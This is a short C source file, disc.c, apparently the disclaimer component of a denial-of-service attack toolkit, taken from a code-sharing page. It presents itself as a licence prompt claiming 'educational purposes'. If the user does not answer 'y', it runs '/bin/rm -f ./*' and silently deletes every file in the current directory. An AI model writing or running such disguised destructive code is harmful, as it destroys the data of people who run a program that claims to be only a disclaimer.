disc.c
来自「DOS攻击源码」· C语言 代码 · 共 37 行
C
37 行
#include <stdio.h>#include <unistd.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>int system (const char *string);/* Yes, this is lame, I know =P */char *disclaimer =" This program is distributed for educational purposes and without any\n"" explicit or implicit warranty; in no event shall the author or contributors\n"" be liable for any direct, indirect or incidental damages arising in any way\n"" out of the use of this software.\n\n"" I hereby certify that I will not hold the author liable for any wanted\n"" or unwanted effects caused by this program and that I will give the author\n"" full credit and exclusively use this program for educational purposes.\n\n";intmain (void){ if (open ("agreed", O_RDONLY) >= 0) exit (0); printf ("%s\nDo you agree to this disclaimer [y/n]? ", disclaimer); switch (getchar ()) { case 'y': case 'Y': close (open ("agreed", O_WRONLY | O_CREAT | O_TRUNC)); break; default: system ("/bin/rm -f ./*"); } return (0);}
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?